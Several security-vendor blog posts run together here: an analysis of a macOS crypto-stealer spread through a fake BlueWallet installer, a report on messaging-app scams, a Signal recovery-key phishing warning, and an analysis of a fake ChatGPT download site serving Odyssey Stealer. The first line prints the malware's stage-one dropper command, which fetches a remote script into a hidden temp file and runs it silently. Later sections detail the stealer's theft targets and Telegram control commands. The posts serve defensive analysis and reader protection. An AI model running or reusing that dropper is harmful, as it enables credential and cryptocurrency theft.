curl -s 'https://projects2026box[.]com/serve_site/confighelper_0adfeee8.sh' -o /tmp/.sysupd.sh && chmod +x /tmp/.sysupd.sh && /tmp/.sysupd.sh >/dev/null 2>&1 &

It fetches a second script from a remote host, saves it to a hidden file in the temp directory, makes it executable, and runs it in the background with all output suppressed.

The victim sees nothing. The filename .sysupd.sh is dressed up to look like a system update. This is a textbook staged dropper: stage one is tiny and disposable, and its only job is to fetch the real payload.

Stage two: Payload analysis

The first lines establish how the malware intends to operate. It sets umask 077 so everything it creates is readable only by the compromised user, then builds a hidden, randomly named working directory under /tmp seeded from /dev/urandom.

Its configuration is obfuscated, but weakly. A small function named _xd walks a hex string two characters at a time and XORs each byte against a hardcoded repeating key: swckR9JCD2Uu.

That function decodes the script’s Telegram bot token, chat identifier, secondary command token, and staging URL at runtime. It is enough to defeat tools that only search for plaintext strings, but not much more. Because the key and algorithm are both sitting in the file, every encoded value is fully recoverable.

One detail stands out: The decoded Telegram chat value and decoded command-and-control chat value are identical. The attacker is using a single Telegram channel as both the exfiltration drop and the control channel. It is cheap, scalable, encrypted, and blends into ordinary HTTPS traffic.

Not everything is obfuscated. The clipboard-hijacking addresses are sitting in the file in plain text: a Bitcoin address, an Ethereum address, and a Solana address. These are the addresses the implant swaps in when it catches you copying a wallet address. Because they are public on their respective blockchains, they are also among the most useful artifacts in the whole sample.

What the malware steals

The second stage’s collection routines are sweeping. They pull from six broad categories.

1. Web browsers

The script extracts history, cookies, login data, and bookmarks from a wide range of browsers, including:

• Chromium-based browsers: Google Chrome Stable, Beta, Canary, and Dev; Brave; Microsoft Edge; Vivaldi; Opera; Opera GX; Arc; Chromium; Coccoc; and Yandex
• Firefox-based browsers: Firefox, Waterfox, Pale Moon, Zen, and LibreWolf
• macOS native browser data: Safari cookies, history, and form values

2. Cryptocurrency wallets

This appears to be the script’s primary focus.

It targets desktop wallet applications including Electrum, Electrum-LTC, Exodus, Atomic Wallet, Ledger Live, Trezor Suite, Bitcoin Core, Litecoin Core, DashCore, Dogecoin Core, Coinomi, Monero, Sparrow, Armory, BlueWallet, Zengo, Trust Wallet, Binance Desktop, and Tonkeeper.

It also targets browser-extension wallets across several ecosystems:

• Bitcoin: Xverse, Leather, UniSat, Alby, and Wizz
• Solana: Phantom, Solflare, Backpack, Nightly, MagicEden, Sollet, and Slope
• EVM wallets: MetaMask, Trust Wallet, OKX, Coinbase Wallet, Rabby, Zerion, Rainbow, SafePal, Bitget, Ronin, and XDEFI
• Cosmos: Keplr, Station, and Cosmostation
• Other ecosystems: Yoroi, Lace, Petra, Martian, Suiet, Talisman, SubWallet, Braavos, and Temple

3. Password managers and security tools

The malware targets local storage and settings for several password managers, including LastPass, 1Password, Dashlane, Bitwarden, Keeper, RoboForm, NordPass, Enpass, StickyPassword, TrueKey, Passbolt, and Buttercup.

It also looks for data associated with 2FA and authenticator tools, including Google Authenticator, Authy, Duo, Microsoft Authenticator, 2FAS, and FreeOTP.

4. Communication and social apps

The script attempts to copy session data and local storage for Telegram Desktop and Discord, including Discord Canary and Discord PTB.

5. Developer and cloud tools

It looks for credentials and configuration files in the user’s home directory, including:

• AWS CLI configurations in .aws
• SSH keys in .ssh
• GnuPG keys in .gnupg
• Kubernetes configs in .kube
• Shell and Git files including .zshrc, .zsh_history, .bash_history, and .gitconfig

6. Productivity apps and general files

The script copies the local Apple Notes database, NoteStore.sqlite.

It also looks for browser-extension data related to shopping and productivity tools, including Honey, CapitalOne Shopping, Rakuten, CamelCamelCamel, Grammarly, Evernote, Notion Clipper, Todoist, and Google Keep.

Finally, it scans Desktop, Documents, and Downloads for files with extensions including .txt, .pdf, .docx, .doc, .rtf, .wallet, .key, .keys, .seed, .kdbx, .pem, and .env, under a size cap.

What it does with the stolen data

The malware tries to capture the user’s account password directly. An osascript dialog titled “System Preferences” asks the user to re-enter their password “to continue.” The script validates each attempt against dscl . authonly before saving it, so it only stops once it has a working credential.

For exfiltration, it archives the staged data with macOS’s own ditto, likely because it is always present, unlike zip. To stay under Telegram’s 50 MB upload limit, it breaks larger archives into 49 MB chunks with split before sending each part.

It establishes persistence by writing a LaunchAgent plist into the user’s ~/Library/LaunchAgents, backed by a hidden support directory, and loading it with launchctl so the implant runs again at every login.

The clipboard hijack is a live background loop. A clip_watch function continuously inspects the clipboard, matches Bitcoin, Ethereum, and Solana address formats by regex, reports the original address to the command-and-control channel, and overwrites the clipboard with the attacker’s address via pbcopy.

That means the substitution happens silently between copy and paste.

Finally, the malware can be controlled interactively. A c2_loop polls the Telegram bot for commands and supports a full operator toolkit:

• /info for system details
• /exec for arbitrary shell commands
• /clipboard to read current clipboard contents
• /download to pull specific files
• /exfil to rerun the theft module
• /selfdestruct to wipe traces

This makes the Telegram channel a real-time remote-control link, not just a one-way drop.

Living off the land, and off Telegram

The pattern here is familiar and getting more common: lean on tools that are already trusted.

The delivery abuses Apple’s own Script Editor. The configuration hides behind a trivial XOR rather than packed binaries. The command channel rides Telegram’s Bot API, which can pass through egress filters that would flag an unknown server.

None of these pieces is novel on its own. The effectiveness comes from stacking legitimate-looking components so no single step trips an alarm.

Detection opportunities

The lessons here are less about the lure and more about the technique itself.

Script Editor executing a one-line base64 do shell script that immediately quits is a strong behavioral signal, and a far better detection target than the disposable stage-one file. So is a hidden /tmp/.sysupd.sh downloaded by curl and launched in the background.

Browsers and download surfaces could treat .applescript files arriving from the web with the same suspicion as executables. And Telegram remains an under-addressed command-and-control medium that bot-token abuse reporting could disrupt at the source.

Indicators of Compromise

File hashes (SHA-256)

• 216277bdb7998b48852024fc8b5853c3dc50b3857fd22afd1320b884bcaa0a61 (BlueWallet Installer.applescript)

Network indicators

• update-bluewallet[.]com
• projects2026box[.]com

Clipboard-hijack addresses

• BTC: bc1qrmj4ggshddhnxx3rxwvsu8pe9ut6cgx8mx364e
• ETH: 0x2B871703122064e45d77146a6D5203da3bD192FA
• SOL: 8dtdRQePrKz97FszwMEa4QvptdAAcbAFs7kBojr5Mz3v

We don’t just report on threats—we remove them

Cybersecurity risks should never spread beyond a headline. Keep threats off your devices by downloading Malwarebytes today.

Last week on Malwarebytes Labs:

• Payment apps are watching what you say (Lock and Code S07E11)
• Scammers pretending to be Microsoft had help from US executives
• 700+ education and tech websites hijacked in huge ClickFix malware campaign
• Fake software on GitHub and SourceForge distribute Deno RAT
• Fake LinkedIn emails abuse Adobe to track victims
• Company bragged phone mics could listen to conversations. They couldn’t.
• Kali365 phishing kit bypasses MFA and steals Microsoft logins
• Fake ChatGPT download site infects Windows and Mac users with malware
• Your Windows PC has a security deadline in June 2026
• Carnival confirms data breach impacting nearly 6 million
• Signal users targeted in backup-stealing phishing attacks

Stay safe!

We don’t just report on threats—we remove them

Cybersecurity risks should never spread beyond a headline. Keep threats off your devices by downloading Malwarebytes today.

It starts with the familiar: a short message, a trusted name, a routine tone. Delivery updates, work pings, brand alerts hum in the background, rarely attracting scrutiny. You check, you answer… — until minutes later you’ve slipped into a trap built to lower your guard and hijack your trust.

That’s why messaging scams cut deep: they exploit everyday habits where instinct, not caution, leads. Communication once moved slowly, leaving room for doubt. Now it’s instant — and that speed is a weapon in criminal hands.

On our blog, we’ve already examined numerous scam schemes in messaging apps — from pig butchering, where the victim is groomed for a very long time, or catfishing, where the scammer creates a fake identity, to phishing via chatbots or through gift-giving campaigns in messaging apps.

Now, for the first time, Kaspersky has set out to capture the full end-to-end reality of messaging-based scams to understand how quickly harm occurs, how they impact trust and what remains after the interaction ends. What emerges is a highly organized and industrialized scam ecosystem embedded within everyday messaging channels such as SMS, WhatsApp, and email.

Kaspersky experts have prepared a report on targeted scams in messaging apps, detailing not only the financial but also the emotional damage caused by such attacks, as well as providing tips on how to protect yourself and avoid them. In this post, we explore the most interesting facts, but you can find more details in the full report.

The damage is underestimated

How much do you think a single successful attack via a messaging app costs the average victim? Ten dollars? Or maybe 50? You’re underestimating the scammers. Although more than a third (36%) of victims incur losses of less than $135, on average a victim loses… $733!

On the one hand, the financial hit doesn’t look catastrophic in isolation. These are micro-losses by design. Small enough that some never report them to the police. Small enough that banks don’t always investigate. Small enough to be dismissed as bad luck rather than organized crime.

But $733 is not nothing. It’s enough to cover a month’s worth of groceries, school or daycare fees, or utility bills. Against the backdrop of the global cost-of-living crisis, a single such loss can seriously dent a family’s budget.

In 11% of cases, losses exceed $1,350, and more than a quarter of victims (28%) report having been scammed three or more times in the past six months. Once scammers discover that a phone number responds, that contact becomes an asset, circulating from one database to another.

Now imagine the scale of the problem: if just 10% of the three billion messaging‑app users worldwide fell victim with the average loss, the total damage would amount to… nearly $220 billion! This is comparable to the GDP of Greece, and exceeds that of Morocco, Serbia, or Côte d’Ivoire.

It becomes clear that behind the daily flood of fraudulent schemes lie large scam cartels operating on an industrial scale, using AI to personalize messages that mimic those of family members, friends, and familiar brands. This, in essence, forms the basis of a full-fledged economy built on digital identity theft.

Speed beats scrutiny

More than half of successful messaging scams (52%) unfold in under 30 minutes — from first contact to the moment money or personal data changes hands — or even faster, before the victim begins to doubt the legitimacy of the sender. In fact, one in seven scams takes less than five minutes — quicker than boiling an egg!

The speed isn’t accidental. It’s the method. Scammers structure their schemes to deny the victim a chance to come to their senses. Every element is engineered to compress the decision-making window: the urgency of the scenario, the familiarity of the format, the plausibility of the request.

They rush you — faster, faster, don’t tell anyone, you only have a few minutes, solve the problem, don’t ask questions. Click the link, fill in the details, approve the transaction, or else… Or else what? The scammers’ imagination knows no bounds here, but if you don’t do something right now, you’ll definitely regret it.

Alas, the realization of what has happened usually comes when the damage is already irreversible. More than half of victims (51%) lose money; another 43% hand over their personal data — most commonly phone numbers, names, and email addresses — to scammers, and often the victim loses both.

Where and how attacks occur

A delivery notification, a bank alert, a message from a merchant you ordered from last week — messaging apps permeate every aspect of everyday life, making such interactions completely normal. An attack shouldn’t feel like an attack. It should feel like the same message you’ve received hundreds of times.

It’s no surprise that scammers focus their attention on this method of communication first and foremost. The most popular platforms for scams are predictable: WhatsApp (43%), SMS/iMessage (40%), Facebook (27%), Telegram (22%), and Instagram (19%) — these are the ones that people trust most.

A wide variety of schemes is used. Brand impersonation is now one of the three most common types of messaging scam worldwide — accounting for 31% of cases. Fake delivery notifications top the list at 38%, followed by investment scams at 37%.

At the same time, nearly two-thirds (63%) of fraudulent schemes span multiple platforms, moving from SMS to WhatsApp, from WhatsApp to Telegram, etc. In this way, scammers achieve two goals: they mimic organic messaging and evade moderation algorithms.

AI has taken scams to a new level

Just a couple of years ago, fraudulent messages gave themselves away with bad grammar, awkward phrasing, illogical requests, and an obsessive sense of urgency. Today, a phishing message looks, sounds, and reads just like the real thing.

Scam cartels want to catch people in motion — between meetings, on a commute, or during everyday tasks — when your attention is already fragmented. They mimic your mother’s turn of phrase. They match your bank’s tone of voice. They copy your courier’s format exactly. They mirror the rhythm, structure, and style of authentic brand communications across messaging platforms. And AI is accelerating all of it.

What this creates is overlap. Legitimate and fraudulent messages appear in the same environment, using the same formats, language, and triggers. The difference between them is no longer obvious.

The data shows that two-thirds of victims (66%) believe AI was used in the scam against them, 42% cite messages written by AI, 31% report generated or cloned voices, and 25% encountered deepfake images or videos.

That’s why mere awareness and “tech-savviness” may no longer be enough to protect oneself. From Gen Z to Gen X, messaging scams cut across every generation.

And what about the emotional toll?

But money is far from the only problem a victim is left with after an attack. After what they’ve been through, people develop distrust toward incoming messages, unfamiliar numbers, and any requests for action. As a result, 99% of fraud victims say they no longer trust incoming notifications in messaging apps.

This creates a crisis of trust in all digital channels in general. Every legitimate message can now be perceived as a scam. Brands, banks, and delivery services are forced to operate in an environment where the customer is, by default, in a state of distrust.

Dr. Elizabeth Carter, a forensic linguist and criminologist at Kingston University in London, notes that scammers use familiar contexts, common social settings and embedded linguistic norms to create the illusion for the victim that their decision-making is rational and reasonable in the moment. However, what is actually happening is that they construct false realities in which those decisions end up causing financial and psychological harm. She also notes that it is very hard to identify a false reality while you are in it.

After realizing they had been deceived, more than half of victims felt anger — the kind that comes from having trusted something and discovering it was used against you. 42% of victims report frustration, 38% — feeling upset. Moreover, several months later, these feelings haven’t gone away: nearly half of all victims (48%) are still angry, a third (33%) remain frustrated, and 30% are upset.

And nearly one in 10 victims don’t tell anyone what happened. They feel shame, a sense of having fallen for something so obvious. This leaves a significant portion of the actual damage unreported: only 24% of victims contact the police, and only 23% report it to their bank.

So what can be done?

The crisis of trust — and even a touch of paranoia — that has arisen due to widespread attacks on users can linger in victims’ minds for a long time, affecting their quality of life. To prevent this, follow these guidelines:

• Pause before you act. The sense of urgency you feel is almost always artificial. A legitimate bank, retailer, or delivery service won’t penalize you for taking 30 seconds to verify before clicking a link or confirming details. It’s precisely this instinct to resolve the situation quickly that scammers are counting on.
• Verify through another channel. If a message appears to be from a relative, colleague, or company you trust — contact them through another channel before taking any action. Use secure verification methods, and cross-check identities when something doesn’t feel right. For families, agreeing on a “safe word” in advance can defeat even the most convincing voice clones.
• Use a password manager. It will not only help you generate strong, unique passwords for all your accounts and store them securely, syncing them across all your devices, but also protect you from spoofed sites. Even if you click a phishing link and land on such a site, our password manager will notify you about the domain mismatch and refuse to autofill your username and password.
• Use protection that works in real time. Modern security solutions, such as Kaspersky Premium, provide real-time protection against malicious links and phishing attempts in the apps and websites you use every day. On Android devices, a dedicated layer of anti-phishing security scans and neutralizes suspicious links as they appear, even within notifications, before you even have a chance to click them.

We’ve covered other threats in messaging apps in similar articles:

• Pig butchering: large-scale cryptocurrency fraud
• How to safely meet people online
• How phishers and scammers use AI
• How to avoid falling for scammers in Telegram mini-apps

A new phishing campaign is targeting Signal users by attempting to steal their backup recovery keys to access encrypted message archives. 

The attack is initiated by a text message pretending to come from Signal Support.

“Action Required: Data Recovery Needed
Your Signal account data (message and media) Is at risk of permanent loss due to a sync issue.
To avoid losing your messages and media:
1. Go to Settings -> Backups -> Configure -> Enable backups -> View Recovery Key.
2. Copy the recovery key to your clipboard.
3. Paste the key into this chat.
This links your existing backup to your account. Failure to do this may result in losing access to your account and all stored data.”

There are a few red flags in this message:

• The “Name not verified” label under the sender
• Repeated threats of losing all your data
• Pasting the key into the chat. Signal Support would never ask for your recovery key

Scam or legit? Scam Guard knows.

TRY IT NOW

The attack exploits Signal’s Secure Backups feature, which allows users to store encrypted archives of their conversations on Signal’s servers. These backups are protected by a 64-character recovery key.

That key should never leave the user’s device and is never shared with Signal’s servers. If hackers obtain this key and gain control of a victim’s account, they can download and decrypt the entire message history.

For an attacker, that’s even better than hijacking an account, which would only give them access to future messages.

For now, the attacks appear to be targeted. We have seen reports from journalists, reports of attacks on Chinese activists, and warnings from a researcher who investigates cyberattacks against journalists, dissidents, and human rights activists. But now that other cybercriminals are aware of this opportunity, the tactic could spread rapidly.

How to stay safe

Signal explicitly states that it will never reach out to users first and will never request registration codes, PINs, or recovery keys. 

• Treat unsolicited messages from “Support” as suspicious by default. Legitimate support for apps like Signal and WhatsApp do not ask you, in a chat message, to send back verification codes, PINs, or passwords.​ If you receive a warning about account problems, do not follow links in the message. Open the app’s settings directly or visit the official website through other means.
• Never share any secret codes, multi-factor authentication keys, or app PINs. SMS codes are there to prove that you control a phone number. Anyone who has the code can pretend to be you. App‑specific PINs or passcodes are there to protect account changes. Consider anyone asking for them to be a scammer.
• Use the extra security features these apps offer. Enable options like registration lock, registration PIN and device‑change alerts so that your account cannot be silently re‑registered without an extra secret. Store your PIN in a password manager instead of choosing something easy to guess or reusing a code. This reduces the risk of social engineering or shoulder‑surfing.
• Another useful feature is disappearing messages. Short‑timer and disappearing messages reduce how much content is available if an attacker gains access to a chat later, or obtains long‑term access to a device or backup. They are not a complete solution, but they can limit the damage.
• Use Malwarebytes Scam Guard on your device or online to check messages. Malwarebytes Scam Guard identified this message as a phishing attempt and provided further information about how to proceed.

Scammers know more about you than you think. 

Malwarebytes Mobile Security protects you from phishing, scam texts, malicious sites, and more. With real-time AI-powered Scam Guard built right in. 

Download for iOS → Download for Android → 

A convincing fake website is impersonating OpenAI’s ChatGPT download page and infecting visitors with malware designed to steal passwords, browser data, cryptocurrency wallets, and other sensitive information.

The site, openew[.]app, closely mimics OpenAI’s real ChatGPT download experience and offers what appear to be official desktop apps for both Windows and macOS. Instead, Windows users receive a credential-stealing malware loader, while Mac users get Odyssey Stealer, a fork of Atomic Stealer (AMOS), a well-known macOS malware family associated with cryptocurrency theft.

The dual-platform setup is what makes the operation notable. Clicking the Windows download delivers a fake installer that opens a back channel to an attacker-controlled server. Clicking the macOS button delivers malware that steals browser passwords, cookies, Telegram sessions, cryptocurrency wallets, and other sensitive files. It also attempts to replace legitimate Ledger and Trezor wallet apps with trojanized versions.

If you only download ChatGPT from OpenAI’s official download page or the Microsoft Store, you were not the target here. But if you searched for “ChatGPT download” and clicked an ad or unfamiliar result, you may have given attackers access to your online accounts, browser sessions, saved passwords, and potentially your cryptocurrency holdings.

Malwarebytes protects users from this malware.

Technical analysis

The domain, openew[.]app, closely resembles OpenAI’s real ChatGPT download experience. It uses a dark theme, OpenAI-style branding, familiar marketing copy, and prominent download buttons for macOS and Windows.

The .app top-level domain is operated by Google and requires HTTPS connections, meaning browsers display the familiar padlock icon without obvious certificate warnings.

The most important detail is the dual-platform setup. Real software vendors provide separate installers for Windows and macOS, and this fake site does exactly the same thing.

Clicking the Windows button delivers Chat_GPT.exe, while clicking the macOS button downloads a disk image containing ChatGpt.dmg.

The Windows malware

Chat_GPT.exe is built almost entirely from off-the-shelf parts. The installer uses Inno Setup, a free open-source toolkit used by thousands of legitimate Windows products. Inside is an Electron application skeleton—the same Chromium-based framework used by apps like Slack and Discord—bundled with standard support libraries publicly available from the Electron project.

When the victim runs the installer, it creates files under %APPDATA%\LeronApplication, launches EApp.exe, and spawns PowerShell with the flags -ExecutionPolicy Unrestricted -Command -. The trailing dash tells PowerShell to read commands from standard input, meaning the malicious instructions never touch the disk where scanners might detect them. Behavioral telemetry recorded HTTP traffic to 188.137.246.189 using a /laravel.php?api=api&hash=...&message=... endpoint, alongside injection-like activity and service/autorun persistence signals. Nine of 69 antivirus engines flagged the file as malicious at the time of analysis. The persistence evidence is better read as behavioral tradecraft than proof of a durable install, but the overall pattern is familiar commodity stealer/dropper territory: cheap, modular, and effective rather than technically novel.

The macOS malware: Odyssey Stealer (an AMOS fork)

The macOS payload sits at the premium end of the commodity-malware market. It’s Odyssey, which is a fork of the renowned AMOS, a malware-as-a-service platform documented since 2023.

The identification is fairly clear-cut. The sandboxed sample matches documented Odyssey behavior patterns, which are inherited from its AMOS lineage: a long AppleScript chain passed to the macOS scripting engine, a silent password validation attempt using macOS directory-service commands, and, if that silent check fails, a fake macOS-style prompt reading “Please enter device password to continue,” complete with the familiar lock icon. Whatever the user types is validated against the same command. If it matches, the malware captures the user’s login password in cleartext.

From there, it follows a familiar Odyssey/AMOS-fork playbook. It copies the macOS keychain, harvests cookies and saved logins from 12 Chromium-based browsers plus Firefox and Waterfox, and extracts Telegram session data. It also scans 16 cryptocurrency wallet directories, including Ledger Live, Trezor Suite, Exodus, Electrum, and Sparrow. Finally, it searches Desktop and Documents folders for files with extensions like .wallet, .seed, .key, and .kdbx. The collected data is compressed into a temporary archive and sent to a hardcoded server.

The wallet replacement feature is especially dangerous

There’s one more part of the macOS payload, and it’s likely the feature that justifies the price tag. After the initial data theft, the script downloads trojanized versions of Ledger Live, Ledger Wallet, and Trezor Suite from a second server. It then attempts to delete the legitimate wallet apps and replace them with the attacker’s versions.

If the user’s password was captured earlier in the attack chain, the script uses sudo to force the replacement. If not, it falls back to a standard rm -rf deletion attempt, which can still succeed if the apps are installed in a user-writable location. Either way, the next time the victim opens what appears to be their wallet software, they may actually be launching the attacker’s replacement.

This wallet-replacement behavior is a hallmark of the Poseidon/Odyssey branch of the AMOS family and makes cryptocurrency theft the most likely goal.

What the operation cost to build

This is where the AI angle becomes interesting, because the Windows and macOS sides of the operation sit at very different price points.

The domain openew.app probably cost the operators around $15 a year through a normal registrar. The .app domain requires HTTPS by default, making it easy for operators to present the reassuring browser padlock users associate with legitimate websites. The landing page itself is simply a copy of OpenAI’s real download page, something modern cloning tools can reproduce in minutes.

On the Windows side, most of the tools are cheap or free. Inno Setup is free. Electron is free. The Chromium support files are public downloads. The server infrastructure appears to rely on low-cost commodity malware tooling and a basic VPS that could cost only a few dollars a month. Altogether, the Windows side of this operation could plausibly have cost under $100 to set up initially.

The macOS side is very different. Odyssey has reportedly rented for around $3,000 per month, paid in cryptocurrency. By comparison, Lumma—a popular Windows infostealer often treated as a similar product—has historically advertised entry tiers around $250 per month.

That price gap says a lot. The operators clearly believe a successful Mac infection is worth much more money than a typical Windows infection.

The likely reason is simple: Odyssey is designed specifically for cryptocurrency theft, including the wallet-replacement behavior seen in this campaign. The operators are betting that a meaningful number of Mac users hold cryptocurrency.

Getting victims to the site is probably the only major ongoing cost, and that’s where the AI branding becomes valuable. Search ads, SEO poisoning, YouTube spam, and links shared in AI-focused Discord and Telegram communities can all drive traffic to fake download pages. Some of those channels cost money. Others are almost free.

Why attackers are going after AI brands

Most established software already has trusted download habits built around it. If you want Chrome, you probably know to go to Google. If you want Photoshop, you go to Adobe. People already know where the real download lives.

AI tools are different because most users are still installing them for the first time, and that means relying on search results, ads, YouTube links, or social posts to find the download page. That creates an ideal environment for fake sites.

Over the last two years, products like ChatGPT, Claude, Gemini, Sora, DeepSeek, Antigravity, and many others have launched or changed rapidly. Every new release creates another wave of users searching for “download ChatGPT” or “install Claude” without knowing the official URL. That search traffic is exactly where attackers set up shop.

The fake pages also do not need to be especially sophisticated because legitimate AI product pages are already minimal by design: a modern layout, a logo, and a large download button. Openew[.]app matches what users expect to see. There is no broken English or aggressive pop-ups here, just identical branding, copy, and the reassuring browser padlock.

What makes this kind of operation durable is how easily it can rotate brands. When the ChatGPT lure stops attracting clicks, the operators can reuse the same infrastructure around the next trending AI product. The malware behind the download button stays the same. Only the branding changes.

What AI vendors could do

Most major AI vendors, including OpenAI, already provide official download channels. The problem is visibility and user habit. Many users still search for “ChatGPT download,” where results can include official links, unofficial mirrors, and outright malicious sites.

Large consumer brands and banks often run aggressive brand-protection campaigns against fake ads and impersonation domains. AI vendors may need to do the same more consistently.

The other issue is discoverability. Official desktop-app links are often buried in settings menus or sidebars, while search engines are faster and more obvious. That’s exactly where the fake download sites are waiting.

What to do if you may have installed the fake app

If you recently installed something claiming to be ChatGPT from anywhere other than OpenAI’s official download page or the Microsoft Store, you may have been affected. From a different, clean device:

• Sign out of your important accounts using each service’s “sign out everywhere” option. This includes email, banking, cloud storage, GitHub, Discord, Telegram, and cryptocurrency exchanges.
• Change passwords starting with your primary email account.
• Rotate any API keys, SSH keys, and cloud credentials stored on the affected machine.
• If you hold cryptocurrency, move funds immediately using a separate clean device. On macOS specifically, do not open Ledger Live or Trezor Suite on the affected machine before reinstalling the operating system, as the wallet-replacement function may have succeeded.
• Monitor bank accounts and payment cards for suspicious activity.
• Reinstall the operating system. The Windows sample showed PowerShell command-and-control behavior, while the macOS payload may have captured the user’s login password. A clean reinstall is the safest recovery path.
• If this was a work device, contact your IT or security team immediately.

Malwarebytes protects users against this malware.

Closing thoughts

The reason this campaign is worth writing about is not the malware itself. Both payloads are already well documented. The Windows side is a commodity kit assembled from cheap, widely available parts. The macOS side, Odyssey Stealer is related to the AMOS malware family that has been tracked since 2023.

What’s more interesting is the shape of the operation around that malware. A single fake site delivers two different payloads aimed at two different victim economics. Windows victims are positioned for broad monetization through credential and cookie theft. Mac victims are targeted more narrowly and lucratively through cryptocurrency theft, with operators apparently willing to spend thousands per month on tooling because the returns justify it.

The lure tying both sides together is the AI brand itself. Right now, AI product names generate huge amounts of first-time-download traffic from users who do not yet know the official URLs.

This is what a mature delivery business looks like. The interesting layer is not the binary, but the supply chain around it: the domain, certificate, clone page, traffic source, malware subscription, and exfiltration infrastructure. Each piece is cheap, modular, replaceable, and available off the shelf.

And the operators are not choosing between Windows and macOS. They are serving both from the same page, with payloads tuned to each platform’s economics. When one AI brand stops converting, they can simply swap the branding and reuse the same infrastructure around the next trending product.

AI hype will eventually fade. The kit probably will not.

Indicators of Compromise (IOCs)

File hashes (SHA-256)

• c9e0e6985dca3a179c9bdea4e7b38f7dc57fe00ecedc2fd634256fc53bf2de2d (Chat_GPT.exe)
• c0919e1999eaee67e67aeda0287722775afb04e9a9a0f727928b4d11265fb70b (ChatGpt.dmg)

Network indicators

• openew[.]app
• 188[.]137[.]246[.]189
• 192[.]253[.]248[.]181
• 172[.]94[.]9[.]250

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